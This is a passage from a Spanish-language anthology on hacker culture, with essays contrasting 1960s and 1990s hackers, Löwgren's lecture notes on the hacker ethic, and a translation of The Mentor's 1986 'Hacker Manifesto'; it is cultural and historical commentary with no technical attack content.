los	 hackers	 del	 «viejo	 estilo»	 del	MIT/Stanford	 que	 se	 hayan	 dejado	 ganar	 en	 los
medios	 su	 honorable	 título	 a	 manos	 de	 «esa	 gente»…	 para	 muchas	 personas,
«hacker»	 quiere	 decir	 una	 clase	 de	 personas	 de	 los	 ‘60,	 cierta	 «estirpe»	 de
programadores	que	lanzó	la	«revolución	informática»,	pero	que	parece	que	no	anda
más	 por	 esta	 zona…	 de	 acuerdo	 a	 estos	 hackers	 de	 la	 «vieja	 escuela,	 hackear»
significaba	 voluntad	 de	 hacer	 accesible	 y	 abierta	 la	 tecnología,	 cierto	 amor	 por	 la
computadora	 que	 significaba	 que	 «preferían	 programar	 en	 vez	 de	 dormir».
Significaba	 un	 deseo	 de	 crear	 belleza	 con	 las	 computadoras,	 de	 liberar	 la
información,	de	descentralizar	el	acceso	a	la	comunicación…

Pero	 ¿qué	 pasa	 con	 los	 nuevos	 «hackers»?	 Muchos	 de	 los	 «viejos»	 hackers
piensan	que	no	merecen	ese	nombre,	y	prefieren	llamarlos	«criminales	informáticos»,
«vándalos»,	 «crackers»,	 o	 golpeando	 bajo	 y	 desde	 un	 sesgo	 generacional,
«delincuentes	 juveniles».	 Los	 medios	 usan	 el	 término	 «hacker»	 para	 referirse	 a
jóvenes	 talentosos,	usuarios	de	 computadoras	que	usan	 sus	modems	para	 entrar	 sin
autorización	a	otros	sistemas,	muy	parecido	a	como	se	describe	en	la	película	Juegos
de	Guerra.	Y	a	 los	hackers	de	 la	vieja	escuela	esto	 les	molesta.	La	mayoría	de	 los
hackers	 nuevos	 no	 saben	 programar;	 sólo	 son	 personas	 sin	 ética	 que	 no	 tienen
problemas	en	robar	passwords,	códigos,	software	u	otra	información	e	intercambiarla
con	sus	amigos.	Podrán	ser	buenos	explotando	las	fallas	de	seguridad	de	los	sistemas,
pero	lo	único	que	logran	(dicen	algunos	como	Stoll)	es	destruir	la	confianza	sobre	la
cual	se	construyen	las	redes	abiertas.

Me	 interesa,	 no	 necesito	 decirlo,	 el	 aspecto	 generacional	 de	 esta	 batalla	 por	 el
título	de	«hacker».	La	mayoría	de	los	viejos	hackers	de	los	‘60	viven,	desde	ya,	en	los
‘90	—«Baby	 Boomers»	 que,	 como	 sus	 amigos	 exhippies,	 pasaron	 de	 «freaks»	 a
personas	 serias,	 consiguiendo	 empleo	 en	 empresas	 de	 seguridad	 informática	 y
megaindustrias	 del	 software—.	 Y	 como	 tantos	 que	 provienen	 de	 la	 contracultura,
simplemente	no	entienden	que	esta	Generación	X	sea	 la	contracultura	de	 los	 ‘90…
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¿dónde	 quedó	 la	 apertura?,	 ¿el	 idealismo?	Estos	 «delincuentes	 juveniles»	 no	 viven
según	 los	 altos	 standars	morales	 de	 los	 nostálgicos	 de	 los	 ‘60	 como	Levy	 y	 Stoll.
Aunque,	al	fin	y	al	cabo,	Levy	vocifera	sobre	aquellos	grandes	hackers	que	fundaron
Apple	 Computers	 y	 lanzaron	 la	 revolución	 de	 la	 PC	 —¡esos	 mismos
ex-«phreakers»[88],	Job	y	Wozniak,	que	de	hecho	permitieron	que	su	empresa	sacara
patentes	de	sus	sistemas	de	hardware	y	software!

Los	 «cyberpunks»	 de	 los	 ‘90,	 parece,	 no	 cumplen	 con	 lo	 que	 esperan	 de	 ellos
gente	como	Stoll	y	Levy.	Y	todos	los	viejos	«hackers»	hacen	malabares	para	marcar
sus	diferencias	 con	 la	nueva	camada	de	«hackers»,	quejándose	cuando	 se	 les	 sigue
aplicando	el	título.	Yo	sostendría	que	los	hackers	de	los	‘90	no	son	tan	distintos	de	los
hackers	de	 los	 ‘60,	que,	de	hecho,	 trabajan	con	 los	mismos	 impulsos	exploratorios,
antiautoritarios,	 liberadores;	 ocurre	 simplemente	 que	 los	 hackers	 de	 los	 ‘60	 no
comprenden	 la	 situación	 en	 que	 vivimos,	 y	 esto	 probablemente	 es	 porque	 leen
literatura	 hippie	 de	 los	 ‘60	 en	 vez	 de	 ciencia	 ficción	 cyberpunk	 de	 los	 ‘90…	 no
comprenden	por	qué	el	nuevo	«hacker»	actúa	como	actúa.

Para	 Levy,	 las	 diferencias	 entre	 los	 viejos	 y	 nuevos	 hackers	 son	 grandes	 y
evidentes.	 El	 primer	 grupo	 competía	 por	 crear,	 el	 segundo	 compite	 por	 destruir	 y
robar.	El	primer	grupo	amaba	el	control	que	tenía	sobre	sus	computadoras,	el	segundo
grupo	ama	el	control	que	 las	computadoras	 les	proporcionan	sobre	 las	personas.	El
primer	 grupo	 siempre	 buscó	 mejorar	 y	 simplificar;	 el	 segundo	 grupo	 sólo	 se
aprovecha	 y	 manipula.	 El	 primer	 grupo	 hacía	 lo	 que	 hacía	 por	 un	 sentimiento	 de
verdad	 y	 belleza	 que	 hallaban	 en	 la	 actividad;	 el	 segundo	 grupo	 «hackea»	 por
beneficios	y	status.	El	primer	grupo	era	comunitario	y	muy	unido,	compartía	siempre
de	manera	abierta	sus	nuevas	«hackeadas»	y	descubrimientos;	el	segundo,	dice	Levy,
es	paranoico,	marginado	y	 se	mueve	en	 secreto.	Para	Levy,	 los	viejos	hackers	 eran
magos	de	las	computadoras,	pero	los	nuevos	hackers	son	terroristas	informáticos	en
busca	de	nuevas	formas	de	vandalismo	electrónico	o	de	bromas	maliciosas,	que	no	se
fijan	en	las	consecuencias.

Pero	donde	Levy	ve	diferencias,	yo	veo	algunas	semejanzas.	Los	viejos	hackers
«a	la	antigua»	del	MIT	eran	bastante	famosos	por	andar	manipulando	cerraduras,	en
sus	versiones	tanto	físicas	como	electrónicas.	¿Hay	tanta	diferencia	entre	la	justa	ira
del	hacker	del	MIT	contra	los	«sacerdotes»	de	IBM	que	lo	mantenían	alejado	de	las
grandes	centrales	[mainframes],	y	el	hacker	de	los	‘90	que	siente	justa	ira	porque	se
le	niega	el	acceso	a	grandes	bases	de	datos	comerciales	sin	una	costosa	suscripción?
Los	antiguos	hackers	del	MIT	eran	famosos	también	por	su	exploración	del	sistema
telefónico,	y	por	buscar	 trucos	para	hacer	 llamadas	gratuitas	a	 lugares	extraños.	De
hecho,	muchos	de	los	primeros	hackers	eran	«phreakers»	telefónicos,	así	de	simple:
se	colaban	en	el	sistema	de	la	compañía	de	teléfonos	(«La»	compañía,	AT&T,	alias
Ma	 Bell	 en	 ese	 entonces)	 y	 se	 ofendían	 porque	 ésta	 se	 negaba	 a	 compartir
información	técnica	sobre	telefonía.

Los	 hackers	 de	 los	 ‘60	 eran	 famosos	 por	 su	 deseo	 de	 liberar	 la	 información.

www.lectulandia.com	-	Página	88



Compartían	 abiertamente	 los	 códigos	 fuentes	 de	 sus	 programas;	 los	 miembros	 del
Homebrew	Computer	Club	[Club	de	Computadoras	Caseras]	también	compartían	las
fallas	 de	 distintas	 computadoras,	 y	 «trucos»	 para	mejorar	 sus	 rendimientos.	 Como
Levy	parece	pensar	que	la	piratería	de	programas	no	debería	ser	un	delito	(dado	que
piensa	que	el	código	fuente	no	debería	tener	copyright),	su	problema	con	los	nuevos
«hackers»	 no	 es	 la	 piratería.	 Ni	 parece	 ser	 el	 hecho	 de	 que	 compartan	 libremente
cierta	 información	 del	 «mundo	 real»	 ciertamente	 peligrosa	 como	 el	 «Manual	 del
Anarquista»	 sobre	 cómo	 hacer	 bombas	 y	 drogas.	 Más	 bien,	 parece	 referirse	 a	 los
delitos	 maliciosos	 de	 una	 minoría	 pequeña,	 dedicada	 a	 desparramar	 Troyanos,
bombas	lógicas,	virus,	gusanos	y	otros	programas	destructivos…

En	 la	 actualidad	 la	 mayoría	 de	 los	 virus	 (como	 el	 virus	 Christmas)	 son
inofensivos.	Ocupan	porciones	mínimas	de	la	memoria,	y	están	programados	no	para
borrar	 el	 disco	 rígido,	 sino	 para	 mostrar	 un	 mensaje	 en	 un	 momento	 dado.	 Son
«sutilezas»	—algo	que	Levy	dice	que	también	entusiasmaba	a	los	hackers	del	MIT—.
Ellos	se	hicieron	conocidos	por	realizar	complejas	bromas	a	otros,	y	eran	maestros	de
la	«ingeniería	social»	—el	arte	de	manipular	tecnócratas	siendo	un	artista	del	engaño
—	 igual	 que	 los	 hackers	 de	 los	 ‘90…	 sus	 elaborados	 juegos	 y	 «sutilezas»	muchas
veces	son	maneras	de	demostrar	su	superioridad	ante	profesores,	operadores	y	otros
«sabelotodos»	 de	 los	 que	 sienten	 que	 se	 interponen	 en	 su	 acceso	 a	 las
computadoras…

Al	 «invadir»	 los	 sistemas	 telefónicos	 de	 «correo	 de	 voz»	 de	 las	 empresas,	 los
hackers	de	los	‘90	no	son	disintos	de	los	hackers	del	MIT	de	los	‘60	que	mapeaban	el
laberinto	 del	 sistema	 de	 túneles	 del	 subsuelo	 del	 MIT.	 Lo	 hacen	 por	 los	 mismos
motivos:	porque	les	dicen	que	no	lo	hagan,	porque	los	túneles	muchas	veces	llevan	a
lugares	sorprendentes;	porque	la	actividad	es	inofensiva	incluso	aunque	se	la	declare
no	 permitida	 o	 incluso	 ilegal,	 y	 porque	 les	 brinda	 un	 sentimiento	 de	 destreza	 y
dominio	sobre	un	problema	complejo.	La	verdad	es	que	la	mayoría	de	los	hackers	de
los	‘90	no	son	destructivos	ni	perversos	descontrolados.	De	hecho,	muchos	suscriben
a	una	Ética	Hacker	 actualizada	 en	 los	 ‘90,	que	 sostiene	que	no	van	a	«hackear»	 la
privacidad	de	las	personas	ni	a	los	usuarios	de	computadoras	personales,	declarando
en	cambio	que	sus	«objetivos»	serán	las	corporaciones	grandes	e	irresponsables	o	las
organizaciones	burocráticas	de	los	gobiernos…

Pero	la	razón	básica	de	la	diferencia	entre	los	hackers	de	los	‘60	y	los	‘90	es	que
éstos	 de	 la	 Generación	 X	 son	 una	 generación	 «post-punk»,	 de	 ahí	 el	 término
«cyberpunk».	Su	música	es	un	poco	más	rabiosa,	y	menos	idealista.	Han	visto	morir
al	 rock	 n’	 roll,	 y	 vieron	 a	Michael	 Bolton	 y	Whitney	 Houston	 tratar	 de	 revivir	 al
muerto.	Su	mundo	es	un	poco	más	multicultural	y	complejo,	y	menos	blanco-y-negro.
Y	es	un	mundo	en	el	que,	si	bien	las	computadoras	pueden	usarse	para	crear	belleza,
también	 están	 usándose	 para	 destruir	 libertades	 y	 autonomía…	 por	 eso	 el	 control
sobre	las	computadoras	es	un	acto	de	defensa	propia,	no	de	simple	ansia	de	poder.	El
«hacking»,	 para	 algunos	 de	 los	 nuevos	 «hackers»,	 es	más	 que	 sólo	 un	 juego,	 o	 un
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medio	 de	 conseguir	 cosas	 sin	 pagar.	 Como	 con	 la	 generación	 anterior,	 se	 ha
convertido	 en	 un	 modo	 de	 vida,	 una	 manera	 de	 definirse	 a	 sí	 mismos	 como
subcultura…

Muchos	de	ellos	son	deliberadamente	«no-violentos»	en	sus	ambiciones.	No	van
a	 impedirles	 a	 otros	 el	 acceso	 a	 sus	 cuentas,	 dañar	 o	 cambiar	 datos	 sin	 permiso,	 o
hacer	cualquier	cosa	que	arriesgue	el	funcionamiento	del	sistema.	En	cambio,	entran
a	sistemas	informáticos	para	1)	pasear	y	ver	qué	encuentran	(¿si	alguien	se	mete	en	tu
casa,	 mira	 los	 afiches	 de	 tu	 pared,	 después	 cierra	 la	 puerta	 y	 se	 va,	 cometió	 un
crimen?)	2)	ver	a	dónde	pueden	llegar	desde	donde	están	(¿qué	conexiones	se	pueden
hacer?)	 3)	 sacar	 ventaja	 de	 cualquier	 capacidad	 única	 de	 la	máquina	 a	 la	 que	 han
accedido.	 Los	 hackers	 del	 MIT	 hacían	 todas	 estas	 cosas	 y	 más	 con	 los	 diversos
mainframes	 que	 se	 les	«prohibía»	usar	y	explorar…	cuestionaron	el	derecho	de	 los
tecnócratas	 a	 limitarles	 el	 acceso,	 y	 abiertamente	 cuestionaron	 sus	 arbitrarias
restricciones	basadas	en	cálculos	de	rendimiento	y	tiempo	de	uso.

De	 hecho,	 los	 hackers	 de	 los	 ‘90	 le	 rinden	 homenaje	 a	 la	 primera	 generación.
Adoptaron	mucho	de	su	argot	y	ciertamente	muchas	de	sus	ideas.	Su	modus	operandi,
la	 PC,	 no	 estaría	 disponible	 para	 ellos	 sino	 fuera	 porque	 los	 hackers	 de	 los	 ‘60
desafiaron	 el	 modelo	 de	 computadora	 corporativa	 de	 IBM	 e	 hicieron	 realidad	 las
computadoras	 personales…	 su	 estilo,	 el	 uso	 de	 pseudónimos,	 su	 amor	 por	 la
trasnoche	y	la	comida	chatarra,	son	testimonios	de	la	durabilidad	y	transmisión	de	la
cultura	hacker	de	los	‘60.	Entonces,	¿por	qué	son	tan	antagonistas	y	agresivos	con	los
nuevos	hackers	de	 los	 ‘90	 los	biógrafos	de	 los	hackers	de	 los	 ‘60?	¿Sienten	alguna
especie	 de	 traición	 a	 la	 Ética	 Hacker	 original	 y	 a	 sus	 imperativos?	 ¿Es	 sólo	 la
negativa	clásica	a	pasarle	la	antorcha	a	una	nueva	generación?

Meterse	en	el	nodo	principal	de	una	red	UNIX	o	en	el	sistema	administrador	de
una	 red	 VAX	 requiere	 pensamiento	 ágil	 y	 programación	 compleja.	 Suele	 requerir
conocimientos	de	 los	diversos	«baches»	del	sistema	y	de	 trucos	astutos	que	pueden
realizarse	 con	 su	 código.	 Suele	 requerir	 maneras	 poco	 ortodoxas	 de	 usar	 los
programas.	 En	 suma,	 requiere	 «hackear»	 en	 el	 mejor	 y	 más	 antiguo	 sentido	 del
término.	Al	 hacerlo,	muchos	 hackers	 de	 los	 ‘90	 buscan	 ampliar	 sus	 conocimientos
sobre	un	sistema	y	sus	posibilidades,	no	sabotear	los	esfuerzos	de	otros	o	arruinar	su
funcionamiento.	Los	«phreakers»,	al	«hackear»	el	sistema	telefónico,	participan	de	la
tradición	 de	 varios	 siglos	 de	 activistas	 norteamericanos	 que	 siempre	 desafiaron	 los
modos	 en	 que	 las	 corporaciones	 y	 las	 agencias	 gubernamentales	 impiden	 que	 las
personas	 se	 asocien	 libremente…	 desafían	 la	 noción	 de	 que	 «tender	 la	 mano	 y
encontrar	a	alguien»	debe	ser	un	privilegio	costoso	en	lugar	de	un	derecho.

Algún	día,	 los	viejos	«hackers»	y	los	nuevos	quizás	se	encuentren	y	discutan	lo
que	 tienen	 en	 común,	 en	 lugar	 de	 las	 diferencias.	 Quizás	 se	 den	 cuenta	 de	 que
comparten	 una	 misma	 alienación	 respecto	 del	 sistema	 actual.	 Podrían	 hallar	 que
tienen	 principios	 y	 motivaciones	 comunes.	 Más	 importante,	 podrían	 dejar	 de
competir	entre	sí	por	una	investidura	o	un	título.	Los	viejos	hackers	podrían	analizar
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los	modos	 en	 los	 que	 fracasó	 su	 visión	 contracultural	 en	 dar	 cuenta	 de	 las	 nuevas
realidades,	y	podrían	aportar	un	sentido	de	lo	colectivo	a	los	nuevos	hackers,	muchas
veces	 trepadores	 y	 amantes	 del	 estrellato.	 Si	 efectivamente	 trabajaran	 juntos,	 esto
podría	 implicar	 aquello	 que	Bruce	 Sterling	 llama	 «el	 Fin	 de	 los	Amateurs».	 ¿Y	 el
inicio	de	la	«Revolución	Informática»?
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J

Cultura(s)	hacker[89]

Jonas	Löwgren

onas	Löwgren	es	profesor	de	«Diseño	e	interacción»	en	la	Escuela	de	Artes	y	Comunicación
de	Malmö,	Suecia.	Ha	realizado	trabajos	diversos	vinculados	a	la	informática	(páginas	web,

herramientas	gráficas,	etc).	Sus	investigaciones	giran	en	torno	a	los	modos	en	que	las	personas	se
vinculan	con	las	nuevas	tecnologías.

El	texto	forma	parte	del	material	para	sus	clases	en	dicha	institución.

Introducción

El	 título	 de	 esta	 charla	 es	 «Cultura(s)	 hacker»,	 no	 «Cultura	 hacker».	 Como
veremos,	el	cuadro	es	bastante	complejo.	Tan	complejo,	quizás,	como	para	hablar	de
culturas	 en	 lugar	 de	 cultura.	 Por	 otra	 parte,	 los	 rasgos	 comunes	 que	 comparten	 los
miembros	 de	 la(s)	 cultura(s)	 hacker	 y	 sus	 comunidades	 son	 bastante	 claros	 y
marcados.

Las	 siguientes	 páginas	 proveen	 notas	 para	 la	 charla,	 en	 un	 intento	 de	 captar	 la
heterogeneidad	de	la(s)	cultura(s)	hacker	así	como	sus	rasgos	comunes.	Pero	primero,
¿cómo	se	define	el	término	«hacker»?

hacker	/s./
[originalmente,	alguien	que	fabrica	muebles	con	un	hacha]	1.	Persona	que

disfruta	 explorando	 los	 detalles	 de	 los	 sistemas	 programables	 y	 cómo
expandir	 sus	 capacidades,	 en	 oposición	 a	 la	 mayoría	 de	 los	 usuarios,	 que
prefieren	 aprender	 lo	 mínimo	 necesario.	 2.	 Persona	 que	 programa
entusiastamente	 (incluso	 obsesivamente)	 o	 que	 disfruta	 de	 programar	 antes
que	 limitarse	 a	 teorizar	 sobre	 la	 programación.	 3.	 Una	 persona	 capaz	 de
apreciar	 el	 valor	 de	 una	 «hackeada».	 4.	 Una	 persona	 que	 es	 diestra
programando	 a	 gran	 velocidad.	 5.	Un	 experto	 en	 un	 programa	 particular,	 o
alguien	 que	 trabaja	 frecuentemente	 con	 él	 o	 haciéndole	modificaciones;	 tal
como	en	«un	hacker	de	Unix».	(Las	definiciones	1	a	5	son	correlativas,	y	la
gente	que	participa	de	ellas	tiende	a	congregarse).	6.	Un	experto	o	entusiasta
de	 cualquier	 tipo.	 Alguien	 puede	 ser	 un	 hacker	 astrónomo,	 por	 ejemplo.	 7.
Alguien	 que	 disfruta	 con	 el	 desafío	 intelectual	 de	 superar	 o	 evitar
creativamente	 las	 limitaciones.	 8.	 (con	 valor	 despectivo)	 Un	 merodeador
malicioso	que	trata	de	descubrir	información	valiosa	revisando	sitios	privados
(ej.	«hacker	de	passwords»,	«hacker	de	redes»).	El	término	correcto	para	esta
acepción	es	cracker.
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El	 término	 «hacker»	 también	 tiende	 a	 connotar	 pertenencia	 a	 la
comunidad	 global	 definida	 por	 la	 red.	 También	 implica	 que	 la	 persona
descripta	subscribe,	en	principio,	a	alguna	versión	de	la	ética	hacker.

Es	 mejor	 ser	 descrito	 por	 otros	 como	 hacker	 que	 describirse	 así	 uno
mismo.	 Los	 hackers	 se	 consideran	 a	 sí	 mismos	 una	 especie	 de	 elite	 (una
meritocracia	basada	en	la	destreza),	aunque	es	una	elite	en	la	que	los	nuevos
miembros	son	alegremente	recibidos.	Hay	por	lo	tanto	cierta	satisfacción	del
ego	en	que	uno	sea	identificado	como	hacker;	pero	si	usted	afirma	ser	uno	y
no	lo	es,	será	rápidamente	catalogado	como	fraude	[bogus].

New	Hacker’s	Dictionary,	editado	por	Eric	S.	Raymond.[90]

Ética	hacker	tradicional

Una	 manera	 de	 caracterizar	 los	 rasgos	 comunes	 de	 la(s)	 cultura(s)	 hacker	 es
describir	una	plataforma	ética	compartida.	La	ética	hacker	fue	resumida	en	su	forma
más	 influyente	 por	 Stephen	Levy	 en	Hackers:	Heroes	 of	 the	Computer	Revolution
(New	 York,	 Bantam	 books,	 1984).	 Desde	 entonces	 fue	 citada	 y	 difundida
extensamente.

El	acceso	a	las	computadoras	—y	a	cualquier	cosa	que	pueda	enseñarte	algo	acerca
de	 cómo	 funciona	 el	 mundo—	 debe	 ser	 ilimitado	 y	 total.	 ¡Siempre	 apégate	 al
imperativo	manos	a	la	obra!

El	«imperativo	manos	a	 la	obra»	 se	 interpreta	generalmente	 tanto	 técnica	como
socialmente.	Si	 tú	quieres	que	el	 editor	de	un	 texto	 interesante	ofrezca	una	versión
WAP	para	leer	(on-line),	por	ejemplo,	no	le	reclames	al	editor.	Aprende	XML,	escribe
tu	propio	convertidor	y	publícalo	para	que	otros	lo	usen	y	lo	mejoren	(en	el	espíritu
de	la	información	libre,	más	abajo).

De	 igual	manera,	si	 tú	quieres	cambios	en	 la	sociedad,	no	 te	quejes,	actúa.	Una
interpretación	fuerte	podría	apuntar	al	activismo	político	más	allá	de	los	límites	de	la
ley	pública.

2.	Toda	información	debe	ser	libre.

Una	 analogía	 cercana	 podría	 ser	 la	 posición	 del	 cacique	 indio	 Toro	 Sentado
respecto	a	 la	colonización	del	continente	norteamericano:	«La	 tierra	no	puede	 tener
dueños».

La	idea	de	la	información	libre	va	en	contra	de	la	mayoría	de	las	concepciones	de
copyright	 y	 software	 propietario.	 Un	 buen	 ejemplo	 es	 la	 política	 de	 copyleft	 de	 la
Fundación	 Software	 Libre	 [Free	 Software	 Foundation].	 El	 siguiente	 extracto	 está
tomado	de	 la	 introducción	 a	 la	 (muy	detallada).	Licencia	Pública	General	 de	GNU
[General	Public	License,	GNU-GPL],	versión	2,	1991:
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Las	 licencias	 para	 la	 mayor	 parte	 del	 software	 están	 diseñadas	 para
arrebatar	su	libertad	de	compartirlo	y	modificarlo.	Por	el	contrario,	la	Licencia
Pública	General	GNU	está	destinada	a	garantizar	 su	 libertad	de	compartir	y
modificar	el	software	libre,	garantizar	que	el	software	sea	libre	para	todos	los
que	 lo	usen.	Esta	Licencia	Pública	General	 comprende	a	 la	mayor	parte	del
software	de	 la	Fundación	Software	Libre	y	a	cualquier	otro	programa	cuyos
autores	 se	 decidan	 a	 emplearla.	 (Algunos	 otros	 programas	 de	 la	 Fundación
Software	 Libre	 subscriben,	 en	 cambio,	 a	 la	 Licencia	 Pública	 General	 de	 la
Biblioteca	GNU	[GNU	Library	General	Public	License].	Ud.	 también	puede
subscribir	a	ella	sus	programas.

Existen	 sutiles	 diferencias	 entre	 el	 software	 libre	 y	 el	 concepto,	más	 difundido
actualmente,	de	código	abierto.	El	software	libre	en	la	versión	de	Richard	Stallman	es
una	 visión	 profunda	 sobre	 la	 libertad,	 la	 comunidad,	 la	 cooperación	 y	 la
emancipación	 en	 la	 sociedad	 ideal.	 El	 código	 abierto	 se	 concentra	 más	 en	 la
eficiencia	y	la	coexistencia	con	modelos	contemporáneos	de	negocios.	Sin	embargo,
ambos	 pueden	 coexistir:	 lo	 que	 hoy	 se	 conoce	 como	 Linux	 debería	 llamarse,	 si
queremos	ser	estrictos,	GNU/Linux,	dado	que	gran	parte	del	software	incluido	en	la
distribución	de	Linux	proviene	del	proyecto	GNU.

Desconfía	de	la	autoridad	—promueve	la	descentralización.

Un	 tema	 que	 atraviesa	 las	 culturas	 hacker	 es	 el	 de	 discutir	 en	 base	 a	 fuentes
primarias:	hechos	e	información	que	deben	estar	accesibles	de	manera	igualitaria.	La
autoridad	en	este	contexto	se	asocia	con	sustituir	el	poder	por	información.

Un	ejemplo	 reciente	es	el	debate	concerniente	a	 los	documentos	 secretos	de	La
Iglesia	 de	 Cientología.	 Cuando	 algunos	 de	 los	 documentos	 fueron	 entregados	 al
dominio	 público	 al	 formar	 parte	 de	 un	 caso	 llevado	 a	 juicio	 en	 EE.	 UU.,	 fueron
inmediatamente	copiados	y	difundidos	en	miles	de	sitios	en	Internet.	Mayormente	por
hackers	o	personas	vinculadas	a	la(s)	cultura(s)	hacker.

Operation	 Clambake	 (http://www.xenu.com/)	 es	 un	 gran	 sitio	 de	 Noruega
dedicado	a	echar	 tanta	 luz	como	sea	posible	 sobre	La	 Iglesia	de	Cientología.	En	 la
presentación	se	afirma:

La	 Iglesia	 de	 Cientología	 está	 utilizando	 las	 leyes	 de	 copyright	 para
rehusar	información	al	público.	¿Están	haciendo	esto	por	motivos	honestos	o
deshonestos?	 En	 caso	 de	 duda	 hay	 una	 manera	 de	 averiguarlo.	 Esta	 es,
publicar	su	material.	No	extractos	sino	en	algunos	casos	su	versión	completa,
para	que	no	pueda	discutirse	que	se	cita	fuera	de	contexto	o	se	mal	interpreta
lo	que	está	escrito.

Yo,	 Andreas	 Heldal-Lund,	 he	 revisado	 los	 materiales	 secretos	 de	 la
Cientología	y	luego	de	cuidadosa	consideración	llegué	a	la	conclusión	de	que
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estos	materiales	son	mantenidos	en	secreto	con	el	fin	de	rehusar	información
al	 público	 con	 el	 solo	 propósito	 de	 engañarlo	 acerca	 de	 la	 verdadera
naturaleza	 de	 la	 Cientología.	 Mi	 convicción	 es	 que	 el	 contenido	 de	 este
material	reivindicará	claramente	mis	acciones.

4.	 Los	 hackers	 deben	 ser	 juzgados	 por	 sus	 acciones,	 no	 por	 falsos	 criterios	 como
títulos,	edad,	raza	o	posición.

Las	 culturas	 hacker	 son	 meritocracias	 donde	 las	 posiciones	 se	 basan	 en	 el
conocimiento	 y	 los	 logros	 demostrados.	 Esto	 queda	 bien	 ilustrado	 en	 el	 texto	 que
sigue,	aparecido	en	Phrack[91]	 número	7	 (http://www.phrack.org/phrack/7/P07-
03):

Lo	que	sigue	fue	escrito	poco	después	de	mi	arresto…

\/\La	consciencia	de	un	Hacker\/\
por	+++The	Mentor+++
Escrito	el	8	de	enero	de	1986

Hoy	atraparon	a	otro,	está	todo	en	los	diarios.	«Adolescente	arrestado	en
Escándalo	 de	 Crimen	 Informático»,	 «Hacker	 arrestado	 luego	 de	 Violar
Banco»…

Malditos	pibes.	Son	todos	iguales.
Pero	 vos,	 con	 tu	 psicología	 barata	 y	 tus	 tecno-visiones	 de	 la	 década	 del

‘50,	¿alguna	vez	miraste	tras	los	ojos	del	hacker?	¿Alguna	vez	te	preguntaste
qué	lo	hacía	funcionar,	qué	fuerzas	le	dieron	forma,	qué	pudo	moldearlo?

Yo	soy	un	hacker,	entrá	en	mi	mundo…
Mi	mundo	empieza	en	la	escuela…	Soy	más	inteligente	que	la	mayoría	de

los	 otros	 chicos,	 esta	 basura	 que	 nos	 enseñan	 me	 aburre…	 Malas	 notas:
maldito	pibe.	Son	todos	iguales.

Estoy	en	el	secundario.	Ya	escuché	por	decimoquinta	vez	a	los	profesores
explicar	 cómo	 reducir	 una	 fracción.	 Lo	 entiendo.	 «No,	 Giménez,	 no	 le
muestro	 mi	 trabajo.	 Lo	 hice	 mentalmente…».	 Maldito	 pibe.	 Seguro	 se	 lo
copió.	Son	todos	iguales.

Hoy	descubrí	algo.	Encontré	una	computadora.	Pará	un	minuto,	esto	está
bueno.	Hace	lo	que	yo	quiero	que	haga.	Si	comete	un	error	es	porque	yo	me
equivoqué.

No	porque	no	le	caiga	bien…
O	se	sienta	amenazada	por	mí…
O	piense	que	me	la	creo…
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O	no	le	guste	dar	clases	y	no	tendría	que	estar	aquí…
Maldito	pibe.	Se	la	pasa	con	los	jueguitos.	Son	todos	iguales.
Y	 entonces,	 sucedió…	una	 puerta	 abrió	 a	 un	mundo…	corriendo	 por	 la

línea	 de	 teléfono	 como	 heroína	 por	 las	 venas	 de	 un	 adicto,	 un	 pulso
electrónico	 es	 emitido,	 tras	 un	 refugio	de	 la	 incompetencia	 diaria…	alguien
encuentra	un	BBS[92].

«Esto	es…	acá	pertenezco…»
Conozco	 a	 todos…	 incluso	 si	 nunca	 me	 los	 crucé,	 nunca	 les	 hablé,	 y

nunca	vuelva	a	oír	hablar	de	ellos…	Los	conozco…
Maldito	pibe.	Otra	vez	ocupando	la	línea	de	teléfono.	Son	todos	iguales…
Podés	apostar	el	 culo	a	que	 somos	 todos	 iguales…	nos	dieron	de	comer

papilla	 para	 bebés	 en	 la	 escuela	 cuando	 teníamos	 hambre	 de	 carne…	 los
pedazos	que	se	les	escaparon	estaban	premasticados	y	no	tenían	sabor.	Fuimos
dominados	por	sádicos,	o	ignorados	por	apáticos.	Los	pocos	que	tenían	algo
para	enseñarnos	se	encontraron	con	alumnos	entusiastas,	pero	esos	pocos	son
como	gotas	de	agua	en	el	desierto.

Ahora	este	es	nuestro	mundo…	el	mundo	del	interruptor	y	el	electrón,	la
belleza	del	baudio.	Usamos	un	servicio	que	ya	existía,	sin	pagar	por	lo	que	no
costaría	casi	nada	si	no	estuviera	en	manos	de	glotones	ávidos	de	ganancias,	y
ustedes	 nos	 llaman	 criminales.	 Exploramos…	 y	 ustedes	 nos	 llaman
criminales.	 Buscamos	 conocimiento…	 y	 ustedes	 nos	 llaman	 criminales.
Existimos	 sin	 criterios	 de	 color,	 nacionalidad	 o	 religión…	 y	 ustedes	 nos
llaman	 criminales.	 Ustedes	 fabrican	 bombas	 atómicas,	 organizan	 guerras,
asesinan,	 manipulan	 y	 nos	 mienten	 para	 hacernos	 creer	 que	 es	 por	 nuestro
bien,	y	sin	embargo	nosotros	somos	los	criminales.

Sí,	yo	soy	un	criminal.	Mi	crimen	es	la	curiosidad.	Mi	crimen	es	juzgar	a
las	 personas	 por	 lo	 que	 dicen	 y	 piensan,	 no	 por	 su	 aspecto.	 Mi	 crimen	 es
superarlos	en	astucia,	algo	por	lo	que	nunca	me	van	a	perdonar.

Soy	 un	 hacker,	 y	 este	 es	mi	manifiesto.	 Pueden	 detener	 a	 un	 individuo,
pero	no	nos	pueden	detener	a	todos…	al	fin	y	al	cabo,	somos	todos	iguales.

5.	Se	pueden	crear	arte	y	belleza	con	una	computadora.

6.	Las	computadoras	pueden	cambiar	la	vida	para	mejor.

Las	 últimas	 dos	 líneas	 de	 la	 ética	 tradicional	 quizás	 no	 sorprendan	 en	 la
actualidad.	Deben	entenderse	en	su	contexto	histórico.	En	los	‘70	 las	computadoras
eran	 extrañas	 y	 poco	 cercanas	 para	 la	 mayoría	 de	 las	 personas.	 En	 caso	 de	 que
significaran	algo,	 se	 asociaban	con	procesamiento	de	datos	 administrativos,	 centros
de	cómputos,	tarjetas	perforadas	y	teletipos.	Arte,	belleza	y	cambios	en	la	vida	no	se
vinculaban	con	la	noción	general	de	computadora.
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Nueva	etica	hacker

Steve	Mizrach,	del	Departamento	de	Antropología	de	la	Universidad	de	Florida,
analizó	varios	textos	recientes	de	hackers	en	el	trabajo	«Is	there	a	hacker	ethic	for	90s
hackers?».	[¿Existe	una	ética	de	los	hackers	de	los	‘90?]	(1997).	Mizrach	resume	sus
conclusiones	en	un	nuevo	conjunto	de	principios	éticos.

Primero,	no	hagas	daño.

No	dañes	computadoras	o	información	si	eso	es	posible.	Similar	a	la	idea	básica
del	Juramento	Hipocrático.

